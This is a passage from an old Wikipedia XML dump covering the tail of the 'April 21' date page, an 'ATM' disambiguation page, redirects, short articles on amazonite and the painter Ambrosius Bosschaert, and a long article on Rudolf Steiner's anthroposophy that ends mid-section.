*[[1814]] - [[Angela Georgina Burdett-Coutts]], English philanthropist (d. [[1906]])
*[[1816]] - [[Charlotte Brontë]], English author (d. [[1855]])
*[[1837]] - [[Fredrik Bajer]], Danish politician and pacifist, recipient of the [[Nobel Peace Prize]] (d. [[1922]])
*[[1838]] - [[John Muir]], American environmentalist (d. [[1914]])
*[[1851]] - [[Charles Barrois]], French geologist (d. [[1939]])
*[[1864]] - [[Max Weber]], German economist and sociologist (d. [[1920]])
*[[1879]] - [[Kartini]], Indonesian national heroine (d. [[1904]])
*[[1882]] - [[Percy Williams Bridgman]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1961]])
*[[1889]] - [[Paul Karrer]], Swiss chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1971]])
*[[1905]] - [[Pat Brown]], American politician (d. [[1996]])
*[[1911]] - [[Ivan Combe]], American inventor (d. [[2000]])
*[[1912]] - [[Marcel Camus]], French film director (d. [[1982]])
*[[1915]] - [[Anthony Quinn]], Mexican-born actor (d. [[2001]])
*[[1919]] - [[Don Cornell]], American singer (d. [[2004]])
*[[1922]] - [[Alistair MacLean]], Scottish author (d. [[1987]])
*[[1923]] - [[John Mortimer]], English barrister and writer
*[[1926]] - Queen [[Elizabeth II of the United Kingdom]]
*[[1927]] - [[Gerald Flood]], British actor (d. [[1989]])
*[[1930]] - [[Silvana Mangano]], Italian actress (d. [[1989]])
*[[1932]] - [[Elaine May]], American comedienne, writer, director, and actress
*[[1935]] - [[Charles Grodin]], American actor and journalist
*  1935   - [[Thomas Kean]], Governor of New Jersey
*[[1936]] - [[James Dobson]], American evangelist
*[[1939]] - [[Helen Prejean]], American nun and writer
*[[1947]] - [[Iggy Pop]], American musician ([[The Stooges]])
*[[1948]] - [[Gary Condit]], American politician
*[[1949]] - [[Patti Lupone]], American singer and actress
*[[1951]] - [[Tony Danza]], American actor and talk show host
*1951 - [[Michael Hartley Freedman]], American mathematician
*1951 - [[Steve Vickers]], Canadian ice hockey player
*[[1958]] - [[Andie MacDowell]], American actress
*[[1959]] - [[Gene Callahan]], American writer
*1959 - [[Robert Smith (musician)|Robert Smith]], British musician, singer, and songwriter ([[The Cure]])
*[[1960]] - [[Michel Goulet]], Canadian [[ice hockey]] player
*[[1963]] - [[Ken Caminiti]], baseball player (d. [[2004]])
*1963 - [[Roy Dupuis]], Canadian actor
*[[1964]] - [[Ludmila Engquist]], Russian-born Swedish athlete 
*[[1965]] - [[Ed Belfour]], Canadian ice hockey player
*[[1970]] - [[Nicole Sullivan]], American actress, comedienne, and writer
*[[1970]] - [[Rob Riggle]], American comedian
*[[1971]] - [[Eric Mabius]], American actor
*[[1977]] - [[Jamie Salé]], Canadian figure skater
*[[1978]] - [[Jukka Nevalainen]], drummer of Finnish heavy metal band [[Nightwish]]
*[[1980]] - [[Vincent Lecavalier]], Canadian hockey player
*[[1982]] - [[Carnell Williams|Carnell &quot;Cadillac&quot; Williams]], American football player

==Deaths==
*[[748]]  - [[Empress Gensho]] of [[Japan]] (b. [[680]])
*[[1073]] - [[Pope Alexander II]]
*[[1109]] - [[Anselm of Canterbury]], [[Archbishop of Canterbury]]
*[[1142]] - [[Pierre Abélard]], French writer (b. [[1079]])
*[[1329]] - [[Frederick IV, Duke of Lorraine]] (b. [[1282]])
*[[1509]] - King [[Henry VII of England]] (b. [[1457]])
*[[1551]] - [[Oda Nobuhide]], Japanese warlord (b. [[1510]])
*[[1557]] - [[Petrus Apianus]], German mathematician (b. [[1495]])
*[[1574]] - [[Cosimo I de' Medici, Grand Duke of Tuscany]] (b. [[1519]])
*[[1699]] - [[Jean Racine]], French dramatist (b. [[1639]])
*[[1701]] - [[Asano Naganori]], Japanese warlord (b. [[1667]])
*[[1719]] - [[Philippe de la Hire]], French mathematician and historian (b. [[1640]])
*[[1720]] - [[Antoine Hamilton]], French writer (b. [[1646]])
*[[1793]] - [[John Michell]], English seismologist (b. [[1724]])
*[[1815]] - [[Joseph Winston]], U.S. Congressman from North Carolina (b. [[1746]])
*[[1868]] - [[Henry James O'Farrell]], Australian would-be assassin of [[Alfred, Duke of Saxe-Coburg and Gotha |Prince Alfred, Duke of Edinburgh]] (Hanged)
*[[1910]] - [[Mark Twain]], American author and humorist (b. [[1835]])
*[[1918]] - [[Manfred von Richthofen]], German pilot (b. [[1892]])
*[[1924]] - [[Eleonora Duse]], Italian actress (b. [[1858]])
*[[1930]] - [[Robert Bridges]], English poet (b. [[1844]])
*[[1938]] - [[Allama Iqbal]], Indian philosopher and poet (b. [[1877]])
*[[1946]] - [[John Maynard Keynes]], English economist (b. [[1883]])
*[[1956]] - [[Charles MacArthur]], American writer (b. [[1895]])
*[[1965]] - [[Edward Victor Appleton]], English physicist, [[Nobel Prize]] laureate (b. [[1892]])
*[[1971]] - [[François Duvalier|François &quot;Papa Doc&quot; Duvalier]], Haitian dictator (b. [[1907]])
*[[1973]] - [[Arthur Fadden]], thirteenth [[Prime Minister of Australia]] (b. [[1894]])
*[[1977]] - [[Gummo Marx]], American actor and comedian (b. [[1892]])
*[[1978]] - [[Sandy Denny]], British vocalist  (b. [[1947]])
*1978 - [[Thomas Wyatt Turner]], American civil rights advocate and agricultural engineer
*[[1980]] - [[Aleksandr Oparin]], Russian biochemist (b. [[1894]])
*[[1983]] - [[Walter Slezak]], Austrian actor (b. [[1902]])
*[[1985]] - [[Rudi Gernreich]], Austrian fashion designer (b. [[1922]])
* 1985 - [[Tancredo de Almeida Neves]], Brazil banker and politician (b. [[1910]])
*[[1989]] - Princess [[Her Imperial Highness Princess Duk-hye|Dukhye of Korea]] (b. [[1912]])
*[[1990]] - [[Erté]], French artist (b. [[1892]])
*[[1991]] - [[Willi Boskovsky]], Austrian violinist and conductor (b. [[1909]])
*[[1996]] - [[Dzhokhar Dudaev]], Chechen leader (b. [[1944]])
*1996 - [[Jimmy Snyder|Jimmy the Greek]], American bookie and sports broadcaster (b. [[1919]])
*[[1999]] - [[Charles 'Buddy' Rogers]], American actor and musician (b. [[1904]])
*[[2000]] - [[Neal Matthews, Jr.]], American singer (b. [[1929]])
*[[2003]] - [[Nina Simone]], American singer and pianist (b. [[1933]])
*[[2004]] - [[Mary McGrory]], American journalist (b. [[1918]])

==Holidays and observances==
* [[Bahá'í Faith]] - First day of the festival of [[Ridván]]
* [[Roman Empire]] - the [[Parilia]] was held in honor of [[Pales]]
* [[Rome]] - city birthday
* [[United States]] - [[Administrative Professionals Day]]
* [[Sunni Islam]] - [[Mawlid]], Prophet [[Muhammad]]'s [[birthday]] ([[2005]])

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/21 BBC: On This Day]

----

[[April 20]] - [[April 22]] - [[March 21]] - [[May 21]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:21 April]]
[[ar:21 إبريل]]
[[an:21 d'abril]]
[[ast:21 d'abril]]
[[bg:21 април]]
[[be:21 красавіка]]
[[bs:21. april]]
[[ca:21 d'abril]]
[[ceb:Abril 21]]
[[cv:Ака, 21]]
[[co:21 d'aprile]]
[[cs:21. duben]]
[[cy:21 Ebrill]]
[[da:21. april]]
[[de:21. April]]
[[et:21. aprill]]
[[el:21 Απριλίου]]
[[es:21 de abril]]
[[eo:21-a de aprilo]]
[[eu:Apirilaren 21]]
[[fo:21. apríl]]
[[fr:21 avril]]
[[fy:21 april]]
[[ga:21 Aibreán]]
[[gl:21 de abril]]
[[ko:4월 21일]]
[[hr:21. travnja]]
[[io:21 di aprilo]]
[[id:21 April]]
[[ia:21 de april]]
[[ie:21 april]]
[[is:21. apríl]]
[[it:21 aprile]]
[[he:21 באפריל]]
[[jv:21 April]]
[[ka:21 აპრილი]]
[[csb:21 łżëkwiôta]]
[[ku:21'ê avrêlê]]
[[la:21 Aprilis]]
[[lt:Balandžio 21]]
[[lb:21. Abrëll]]
[[li:21 april]]
[[hu:Április 21]]
[[mk:21 април]]
[[ms:21 April]]
[[nap:21 'e abbrile]]
[[nl:21 april]]
[[ja:4月21日]]
[[no:21. april]]
[[nn:21. april]]
[[oc:21 d'abril]]
[[pl:21 kwietnia]]
[[pt:21 de Abril]]
[[ro:21 aprilie]]
[[ru:21 апреля]]
[[se:Cuoŋománu 21.]]
[[sco:21 Aprile]]
[[sq:21 Prill]]
[[scn:21 di aprili]]
[[simple:April 21]]
[[sk:21. apríl]]
[[sl:21. april]]
[[sr:21. април]]
[[fi:21. huhtikuuta]]
[[sv:21 april]]
[[tl:Abril 21]]
[[tt:21. Äpril]]
[[te:ఏప్రిల్ 21]]
[[th:21 เมษายน]]
[[vi:21 tháng 4]]
[[tr:21 Nisan]]
[[uk:21 квітня]]
[[ur:21 اپریل]]
[[wa:21 d' avri]]
[[war:Abril 21]]
[[zh:4月21日]]
[[pam:Abril 21]]</text>
    </revision>
  </page>
  <page>
    <title>ATM (disambiguation)</title>
    <id>2484</id>
    <revision>
      <id>40881801</id>
      <timestamp>2006-02-23T17:12:21Z</timestamp>
      <contributor>
        <username>Modest Genius</username>
        <id>593712</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''ATM''' is an [[initialism]] with the following meanings:

*[[Automatic teller machine]] or automated teller machine, a [[cash]] [[dispenser]] or [[cash machine]]
*[[Association of Teachers of Mathematics]] in the UK.
*[[Adobe Type Manager]], [[Typeface|font]] [[management]] [[Computer software|software]] from [[Adobe Systems]]
*[[Advanced Traffic Management]] and Arterial Traffic Management, terms used in the [[intelligent transportation system]] industry
*Air Traffic Management, or [[Air Traffic Control]]
*[[Amateur telescope making]]
*[[Ass to mouth]], a sexual act mostly observed in pornography
*[[Asynchronous Transfer Mode]], a [[telecommunications]] [[protocol (computing)|protocol]]
*[[At-the-money]], a term used in [[financial mathematics|option pricing]]
*[[Ataxia telangiectasia mutated]] (molecuar and cell biology, biochemistry), is a [[protein]] [[kinase]] that plays a critical role in response to certain types of DNA damage
*[[ATM (computer)|ATM]] is a Russian clone of the [[ZX Spectrum]]
*ATM is the [[International Air Transport Association|IATA]] code for [[Altamira Airport]] in [[Altamira]], [[Pará]], [[Brazil]].
*[[At the moment]], an abbreviation often used as a shorthand during a typed internet chat session refering to something you are currently doing. (E.g. I'm drinking tea '''ATM'''.)
* '''atm''' is an abbreviation for [[atmosphere (unit)|atmosphere]], a unit of atmospheric pressure.

{{TLAdisambig}}

[[ca:ATM]]
[[de:ATM]]
[[fr:Atm]]
[[ja:ATM (曖昧さ回避)]]
[[pl:ATM]]
[[tr:ATM]]
[[zh:ATM]]</text>
    </revision>
  </page>
  <page>
    <title>Alexandrite</title>
    <id>2486</id>
    <revision>
      <id>15900893</id>
      <timestamp>2005-05-17T19:37:03Z</timestamp>
      <contributor>
        <username>Luneraako</username>
        <id>239714</id>
      </contributor>
      <comment>redirected/merged to 'Chrysoberyl'</comment>
      <text xml:space="preserve">#REDIRECT [[Chrysoberyl]]</text>
    </revision>
  </page>
  <page>
    <title>Amazonite</title>
    <id>2487</id>
    <revision>
      <id>40590963</id>
      <timestamp>2006-02-21T17:58:03Z</timestamp>
      <contributor>
        <username>Avihu</username>
        <id>70314</id>
      </contributor>
      <minor />
      <comment>Interwiki he</comment>
      <text xml:space="preserve">[[Image:AmazoniteColorado.jpg|thumb|right|Microcline feldspar variety Amazonite from Jefferson, Colorado]]
'''Amazonite''' (sometimes called &quot;Amazon stone&quot;) is a green variety of [[microcline]] [[feldspar]].

The name is taken from that of the [[Amazon River]], from which certain green stones were formerly obtained, but it is doubtful whether green [[feldspar]] occurs in the Amazon area.

Amazonite is a mineral of limited occurrence. Formerly it was obtained almost exclusively from the area of [[Miyask]] in the [[Ilmen mountains]], 50 miles southwest of [[Chehabinsk]], [[Russia]], where it occurs in granitic rocks. More recently, high-quality crystals have been obtained from [[Pikes Peak|Pike's Peak]], [[Colorado]], where it is found associated with smoky [[quartz]], [[orthoclase]], and [[albite]] in a coarse [[granite]] or [[pegmatite]]. Some other localities in the [[United States]] yield amazonite, and it is also found in [[pegmatite]] in [[Madagascar]].

Because of its bright [[green]] colour when polished, amazonite is sometimes cut and used as a [[gemstone]].

For many years, the source of amazonite's color was a mystery. Naturally, many people assumed the color was due to copper because [[copper]] compounds often have blue and green colors. More recent studies suggest that the blue-green color is due to small quantities of [[lead]] and water in the feldspar. (Hoffmeister and Rossman, 1985)

See also: [[List of minerals]]

== References ==

* {{cite journal | author=Hoffmeister and Rossman | title=&amp;nbsp; | journal=Am. Min. | year=1985 | volume=70 | pages=794-804}}

[[Category:Silicate minerals]]

[[de:Amazonit]]
[[fr:Amazonite]]
[[he:אמאזוניט]]
[[pt:Amazonita]]</text>
    </revision>
  </page>
  <page>
    <title>Abandonment of an action</title>
    <id>2489</id>
    <revision>
      <id>15900896</id>
      <timestamp>2002-09-01T17:10:06Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Abandonment]]</text>
    </revision>
  </page>
  <page>
    <title>Ambrosius Bosschaert</title>
    <id>2490</id>
    <revision>
      <id>40359892</id>
      <timestamp>2006-02-20T01:22:15Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[Image:Bosschaert Bouquet of Flowers.jpg|right|thumb|320px|Bouquet of Flowers by Ambrosius Bosschaert (c. 1620) Oil on copper, 23 x 17 cm Musée du Louvre, Paris]]

'''Ambrosius Bosschaert the Elder''' ([[1573]]&amp;ndash;[[1621]]) was a [[Netherlands|Dutch]] [[still life]] [[painter]] of the [[Dutch Golden Age]]. He specialised in painting still lifes with flowers. 

==External links==
* [http://www.kfki.hu/~arthp/html/b/bosschae/ambrosiu/index.html A number of Ambrosius Bosschaert's paintings]

{{Netherlands-painter-stub}}

[[Category:1573 births|Bosschaert, Ambrosius]]
[[Category:1621 deaths|Bosschaert, Ambrosius]]
[[Category:Flemish painters|Bosschaert, Ambrosius]]
[[Category:Flower artists|Bosschaert, Ambrosius]]
[[Category:Dutch Golden Age painters|Bosschaert, Ambrosius]]

[[fr:Ambrosius Bosschaert]]</text>
    </revision>
  </page>
  <page>
    <title>Anal intercourse</title>
    <id>2492</id>
    <revision>
      <id>15900899</id>
      <timestamp>2002-07-21T03:04:10Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>fixing blank link</comment>
      <text xml:space="preserve">#REDIRECT [[Anal sex]]</text>
    </revision>
  </page>
  <page>
    <title>Anthroposophy</title>
    <id>2493</id>
    <revision>
      <id>42095555</id>
      <timestamp>2006-03-03T20:19:02Z</timestamp>
      <contributor>
        <username>EdK</username>
        <id>880924</id>
      </contributor>
      <minor />
      <comment>/* Place in Western Philosophy */ spelling Tolkein -&gt; Tolkien</comment>
      <text xml:space="preserve">'''Anthroposophy''', also called [[spiritual science]] by its founder, [[Rudolf Steiner]] is an attempt to investigate and describe [[spiritual]] phenomena with the same precision and clarity with which [[natural science]] investigates and describes the physical world. Steiner described his approach as &quot;soul-observations using scientific methodology&quot;. (Steiner, [1893] 1995). His ideas have their roots in the flowering of Germanic culture that resulted in the transcendent philosophy of [[Hegel]], [[Fichte]] and [[Schelling]], on the one hand, and the poetic and scientific works of [[Goethe]], upon whom Steiner draws heavily, on the other. 

The word anthroposophy is derived from [[Greek language|Greek]] roots meaning human wisdom. (Anthroposophy should not be confused with [[Anthropology]], the [[empirical]] study of human cultures.) Anthroposophy is not one of the natural sciences, though in particular areas anthroposophic research claims to have achieved scientific recognition.  (See below for further information about the relationship of anthroposophy to the natural sciences.) Anthroposophy has been fruitful for many areas of life, especially [[education]], [[organic farming]], [[medicine]] including care of the [[mentally handicapped]], and [[Spiritual Science|spirituality]]; see ''Successes of Anthroposophy'', below. 

==History==
In his early twenties, Steiner was asked to edit [[Goethe]]'s scientific writings for a major publication of that writer's complete works. In the course of this work, Steiner began publishing various works that foreshadowed his later ideas, but were still set within the philosophical and scientific framework of his age: chiefly ''Goethe's Conception of the World'' and his commentaries on Goethe's scientific essays. His first [[Philosophy of Freedom | masterwork, ''Die Philosophie der Freiheit'']] (translated variously as ''The Philosophy of Spiritual Activity'', ''The Philosophy of Freedom'', or ''Intuitive Thinking as a Spiritual Path''), was published when he was in his early thirties. Here, Steiner set forth a conception of free will that was strongly founded upon inner experiences, especially those that occur in independent thought, without any explicit references to the potentially spiritual nature of these experiences. His first reference to 'anthroposophy' dates from this early period.

Steiner's further development led him further and further into explicitly spiritual philosophical studies. These studies were chiefly interesting to others who were already oriented towards spiritual ideas; chief amongst these, at least in Steiner's middle phase of development, was the [[Theosophical Society]]. He was asked to lead the German section of this primarily [[Anglo-American]] group. His work was distinct from that of most other members of the Society (exceptions included [[Bertram Kingsley]] in England) and both he and the then president of the Theosophical Society appear to have 'agreed to disagree' in an at first harmonious way. By [[1907]], however, there was a growing split between the group around Steiner, who was trying to develop a path that embraced such cornerstones of Western civilizations as [[Christianity]] and [[natural science]], and the mainstream Theosophical Society, which was oriented toward an [[Eastern Region|Eastern]], and especially [[India|Indian]], approach.

The [[Anthroposophical Society]] was formed in [[1912]] after Steiner left the [[Theosophical Society Adyar]] over differences with its leader, [[Annie Besant]]. She intended to present to the world the child [[Jiddu Krishnamurti]] as [[Christ]] [[reincarnation|reincarnated]].  Steiner strongly objected, and considered any equation between Krishnamurti and Christ to be nonsense (as did Krishnamurti himself once he had reached adulthood). This and the philosophical differences mentioned above led Steiner to leave the Theosophical Society.  He was followed by a large number of members of the Theosophical Society's German Section, of which he had been secretary. Members of other national chapters of the Theosophical Society followed.

By this time, Steiner had reached considerable stature as a spiritual teacher. He claimed to have direct experiences of the [[Akashic Records]] (by Steiner sometimes called the &quot;Akasha Chronicle&quot;), a spiritual chronicle of the history and pre-history of the world encoded in the [[Aether (classical element)|aether]], and allegedly available to anyone who takes the time to develop sufficient powers of spiritual vision.  Sound vision could be developed, Steiner said, in part by practicing rigorous forms of ethical and cognitive self-discipline, concentration and meditation.  However, no anthroposophist since Steiner has yet claimed to be able to read the Akashic Records to any great degree. According to Steiner, one's ethical development must precede the development of spiritual faculties. By all accounts, Steiner was an unusually upright and ethical human being who fostered an atmosphere of freedom, tolerance, creativity and humor in all his personal and work relationships.

By [[1912]], a flowering of artistic work inspired by Steiner and the anthroposophical movement was well underway. New directions in [[drama]], [[painting]], [[sculpture]], [[Eurythmy|artistic movement]] and [[architecture]] all came together in a grand theatre center, the First [[Goetheanum]], built in the years [[1913]]-[[1920]]. To a significant extent this was built by volunteers from many countries and much of the work was accomplished during the [[First World War]]. The international community of workers, artists and scientists that came together around the project in [[Neutral country|neutral]] [[Switzerland]] existed in sharp contrast to the war-torn European nations around.

After [[World War I]], the anthroposophical movement took on new directions. Practical projects such as schools, centers for the handicapped, organic farms and medical clinics were established, all inspired by anthroposophical research. Each of these used ideas that seemed radical at the time; many of these ideas - such as organic agriculture - are now, nearly a century later, appreciated as important directions for our society's future development.

Steiner died in [[1925]], but anthroposophical work has continued in all of the areas established during his lifetime as well as in many new projects established since. Seminars, artistic trainings, and institutions such as schools, banks, farms and clinics flourish throughout the world, all inspired by the idea that spiritual work can be systematically and methodically pursued in harmony with outer endeavors.

==Description==
Anthroposophy, though appreciative of all religions and cultural developments, emphasizes recent Western (rather than older [[Hindu]] or [[Buddhism|Buddhist]]) esoteric thought as being more appropriate to contemporary needs, and perceives [[Christ]] and His mission on earth as having a particularly important place in human evolution, though these are not viewed in the same way as in the mainstream Christian churches. Steiner emphasized that the being that manifests in Christianity also manifests in all faiths and religions; it is the being that unifies all religions, and not a particular religious faith, that Steiner saw as the central force in human evolution. Steiner's [[Christianity]] differs also from that of the [[Gnostics]] who viewed the Christ phenomenon through the knowledge gained through earlier [[gnosticism]], whereas for Steiner Christ's incarnation was a historical reality and a pivotal and unique point in human history.

Anthroposophy encourages clear and free thought, and the development of human consciousness beyond the material senses. It also encourages the artistic expression of one's perceptions. Steiner defined it as &quot;a path of knowledge leading the Spiritual in the human being to the Spiritual in the universe.&quot;

His concept of man includes the idea that man has inhabited [[earth]] since its creation, albeit in a spiritual form. This spiritual form then processed through a number of stages to reach its current form, stages which included emanation of lesser beings such as animals and plants. Thus every living thing has evolved from mankind (although &quot;mankind&quot; is not here seen in its usual sense, but includes its earlier spiritual forms).

The anthroposophist's way could be said to go through becoming more conscious and deliberate about one's thoughts and deeds, but also by becoming more perceptive of and in tune with the spirit in himself and outside of himself . One may reach higher levels of [[consciousness]] through [[meditation]] and [[observation]]. Steiner described and developed numerous exercises for the realization of these goals.

Steiner's description of the [[human being]] as consisting of seven intimately connected parts, starting on the material level and reaching up into the spiritual levels - and several of which are still in development - is similar to that found in Theosophy.

This view is thoroughly explained in many of Steiner's writings and lectures, particularly in his books ''Theosophy'', and ''An Outline of Occult Science''.

Anthroposophists however also hold a fourfold view, which Steiner expands on very frequently and puts to practical uses in subjects such as medicine and child education:
*the [[physical body]], 
*the life or [[etheric body]], the organization of forces of metamorphosis and growth for living beings
*the consciousness or [[astral body]], and 
*the [[ego]] or &quot;[[I]]&quot; of the human being.

==Place in Western Philosophy==
The [[Epistemology|Epistemic]] basis for Anthroposophy is contained in the seminal work, [[Philosophy of Freedom | ''The Philosophy of Freedom'']], as well as in Steiner's doctoral thesis, ''Truth and Science''. These and several other early books by Steiner anticipated 20th century continental philosophy's gradual overcoming of [[Cartesian dualism|Cartesian]] idealism and of [[Kant|Kantian]] subjectivism. Like [[Edmund Husserl]] and [[Ortega y Gasset]], Steiner was profoundly influenced by the works of [[Franz Brentano]] (whose lectures he had heard as a student at the University of Vienna) and had read [[Wilhelm Dilthey]] in depth. Through Steiner's early epistemological and philosophical works, he became one of the first European philosophers to overcome the subject-object split that [[Descartes]], classical physics, and various complex historical forces had impressed upon [[Western thought]] for several centuries. His philosophical work was taken up in the middle of the twentieth century by [[Owen Barfield]], a philosopher of language from [[Oxford University]] and through him influenced the [[Inklings]], a group that included such writers as [[J.R.R. Tolkien]] and [[C.S. Lewis]]. It was also taken up by the philosopher (and prolific author) Herbert Witzenmann. Steiner's philosophy has not found widespread recognition by academic philosophers outside of the anthroposophical movement, however; one exception is Richard Tarnas, author of ''The Passion of the Western Mind''. 

Steiner's philosophy begins by recognizing a division between our sensory experiences of the outer world and our soul experiences of an inner world consisting of thoughts, feelings and intentions (will impulses). He focuses on how our thinking in particular complements what we experience through the senses; one facet of the world is its outer appearance, a second is its inner structure. We access the two separately but they are originally united in the objective world, and we have the capacity to reunite them through creating a relationship between our percepts and our concepts, between what we experience outwardly and inwardly. He claims we only understand an aspect of the outer world when we find this connection between our sensory impressions of it and our concepts about it.

Thus, though all experience begins subject to the subject-object divide, through our own activity Steiner says we can progressively overcome this divide. This lies in our free will, however; we are given the divide but not its overcoming.

Steiner also examines the step from thinking as determined by outer impressions to what he calls sense-free thinking. Thoughts without sensory content, for example mathematical or logical thinking, is clearly a free deed. He thus believes he locates the origin of the free will in our thinking, and in particular in sense-free thinking. Especially in his later work, Steiner asserts that the objective truths attainable through [[mathematics]] and [[logic]] are evidence of an objective non-sensory world - a world of spirit/mind that is not subject to the subjective nature of our inner experiences. (The German word Geist means both [[spirit]] and [[mind]].)

==Relationship to Natural Science==
Anthroposophy explicitly seeks to extend [[natural science]]'s mandate, which is to study the world as external observers (a mandate which some say has been shaken by [[quantum mechanics]]' rejection of the possibility of splitting the observer from the observed phenomena), to explore human experience from within. It postulates that, as we have learned over centuries and even millennia to treat our experience of the outer world in a clear and systematic way, we can also learn to do this for our experience of out inner life.

It believes the genuine and even scientific study of man, need not restrict itself to externally observable phenomena. If an equally objective description of human soul and spiritual life can be achieved, these too can be elevated to a science. ''Natural'' science thus sets the example and provides a methodological goal; the potential content of observation is however extended to experiences beyond the purely sensory.

Today's science already recognizes the scientific validity of our inner, soul states in the special case of our thinking. The discipline of science assumes that scientific reasoning is possible, i.e.in anthroposophical terms, that our soul experience of thinking can be as [[Objectivity (philosophy)|objective]] and [[verification|verifiable]] as the [[senses|sensory phenomena]] themselves. Natural science thus allows inner, thought processes as part of the ''methodology'' of science, but excludes them from being the subject of scientific work. If thinking can be objective about sensory phenomena, however, can it not be objective about its own activity, and by extension, to the rest of our inner life? 

Natural science even includes non-sensory phenomena as the content of its study in the special case of mathematics. Is the number two purely non-sensory? What about 'i', [[Imaginary unit|the square root of negative one]]? Mathematics provides a doorway through which we can see how a scientific treatment of nonsensory phenomena may be valid.

Key here is that the scientific standards of a rigorously logical approach, duplicability of results and intersubjectivity are not lost. Much of today's spirituality is thus not spiritual science. Anthroposophy respects religious and spiritual life that is not scientific as having its own proper place in culture, just as our free exploration of nature has its place next to natural science. Often such excursions give just the raw material out of which scientific understanding is born. It seeks, however, to make a step from free experience of soul and spiritual life to a scientifically motivated description of these, with the motive of bringing clarity and a higher understanding to the 'buzzing, blooming confusion' that reigns as strongly in inner experiences as in the natural world.

==Applications==
Practical results of Anthroposophy include work in:

*Architecture ([[Goetheanum]]), 
*[[Biodynamic agriculture]], 
*Holistic [[Waldorf Education]] 
*[[Astrosophy]] as opposed to [[Astrology]], 
*[[Anthroposophical Medicine]] ([[Weleda]]), 
*Philosophy (The &quot;Philosophy of Freedom&quot;), 
*[[Goethean Science]] resulting in new developments in the Arts, 
*[[Eurythmy]] (&quot;movement as visible speech&quot;), 
*Centres for helping the mentally handicapped ([[Camphill Villages]]) and
*Religion ([[The Christian Community]])

Medical doctors in the Anthroposophy movement use, amongst others, [[homeopathy]] as a part of their medical practices. In addition, Steiner gave several series of lectures to physicians, and out of this grew a medical movement that now includes hundreds of European M.D.s as adherents, and that has its own hospitals and medical universities.

==Social Goals of Anthroposophy==
For a period after World War I, Steiner was extremely active and well-known in Germany in part because in many places he gave lectures on social questions.  A petition expressing his basic social ideas (signed by Herman Hesse, among others) was very widely circulated.   His main book on social questions, ''Die Kernpunkte der Sozialen Frage'' (available in English today as ''Toward Social Renewal'') sold tens of thousands of copies.  

Today around the world there are a number of innovative banks, companies, charitable institutions, and schools for developing new cooperative forms of business, all working partly out of Steiner&amp;#8217;s social ideas.  One example is The Rudolf Steiner Foundation, incorporated in 1984, and as of 2004 with estimated assets of $70 million.  RSF provides &quot;charitable innovative financial services&quot;.  According to the independent organizations Co-op America and the Social Investment Forum Foundation, RSF is &quot;one of the top 10 best organizations exemplifying the building of economic opportunity and hope for individuals through community investing.&quot;  The first bank founded out of Steiner's ideas was the ''Gemeinschaftsbank für Leihen und Schenken'' in [[Bochum]], [[Germany]]; it was started in 1974.

===Steiner's Outlook on Social History===
In Steiner's various writings and lectures he held that there were three main spheres of power comprising human society''':''' the cultural, the economic and the political.  In ancient times, those who had political power were also generally those with the greatest cultural/religious power and the greatest economic power.  Culture, State and Economy were fused (for example in ancient Egypt).  With the emergence of classical Greece and Rome, the three spheres began to become more autonomous.  This autonomy went on increasing over the centuries, and with the slow rise of egalitarianism and individualism, the failure adequately to separate economics, politics and culture was felt increasingly as a source of injustice.

Anthroposophy has its own concept of history: according to Steiner our present time falls into the post-[[Atlantean]] period, since in his view the disaster that he says hit Atlantis in [[7227 BC]] was a significant turning point in the history of man. This post-Atlantean period is divided by him into seven epochs, the current one being the European-American Epoch, which Steiner said would last until about the year [[3573]].

===Social Threefolding===
:''see full description in [[Social Threefolding]] article''.

There are three kinds of social separations Steiner wanted strengthened. This is known as [[Social Threefolding]] , 
# Increased separation between the State and cultural life 
# Increased separation between the economy and cultural life 
# Increased separation between the State and the economy (stakeholder economics)

==Aspects of Anthroposophic Thinking==
According to Steiner, a real [[spiritual]] world exists out of which the material one gradually condensed, and evolved.  The spiritual world, Steiner held, can in the right circumstances be researched through direct experience, by persons practicing rigorous forms of [[ethics|ethical]] and [[Cognition|cognitive]] [[Self-Discipline|self-discipline]].  Steiner described many exercises he said were suited to strengthening such self-discipline.  Details about the spiritual world, he said, could on such a basis be discovered and reported, not infallibly, but with approximate accuracy.  

Steiner regarded his research reports as being important aids to others seeking to enter into spiritual experience.  He suggested that a combination of spiritual exercises (for example, concentrating on an object such as a seed), moral development (control of thought, feelings and will combined with openness, tolerance and flexibility) and familiarity with other spiritual researchers' results would best further an individual's spiritual development.  He consistently emphasized that any inner, spiritual practice should be undertaken in such a way as not to interfere with one's responsibilities in outer life.  

Steiner often advised people avoid turning his work into a [[doctrine]].  He emphasized that any researcher, in any field, was able to make mistakes, and that both science and the world continued to evolve, making all results outdated after a certain time.

One of the central exercises of anthroposophy is to focus on a given content (this can be an outer object or a spiritual imagination) for a given time, and then to consciously eliminate the content from one's consciousness, allowing the process of attention to continue. We can become aware, thereby, of the activity of attention itself.  A further step is then to dismiss this activity from one's consciousness.  Behind the activity, Steiner suggested, would be found another level of spiritual reality. 

Some of Steiner's students support his claim that remaining actively within his process, can have the effect of awakening one gradually into forms of [[superconsciousness|superconscious]] spiritual awareness.  Steiner claims to offer a gradual experiential path from ordinary conceptual thinking into forms of thinking perceptive of living spiritual beings and mobile realities in the spiritual world.  

They claim that gaining access to the unusual forms of consciousness embodied in some of Steiner's works is not a matter of believing in or having faith in whatever Steiner chose to say about spiritual beings.  Rather, they claim that Steiner's thinking, if adequately penetrated with one's own active questioning, thinking and feeling, eventually reveals itself as a sort of spiritual music full of [[aesthetics|aesthetic]] tensions and relaxations and various kinds of spiritual dynamism. This spiritual dynamism, they see as full of complex [[metamorphosis|metamorphoses]] of form and color, and can itself eventually be perceived as the speaking and singing of living spiritual beings and of a real spiritual world.  

